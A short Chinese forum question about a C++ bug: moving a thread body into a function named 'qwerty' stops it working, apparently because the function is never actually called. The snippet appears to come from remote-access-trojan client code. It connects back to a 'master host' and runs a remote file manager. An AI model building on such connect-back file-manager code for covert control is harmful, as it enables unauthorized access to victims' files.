调用函数的问题
源代码:DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
CClientSocke socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CFileManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
请教
改了以后就不行乐:
DWORD WINAPI qwerty()
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CFileManager manager(&socketClient);
socketClient.run_event_loop();
}
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
qwerty;
return 0;
}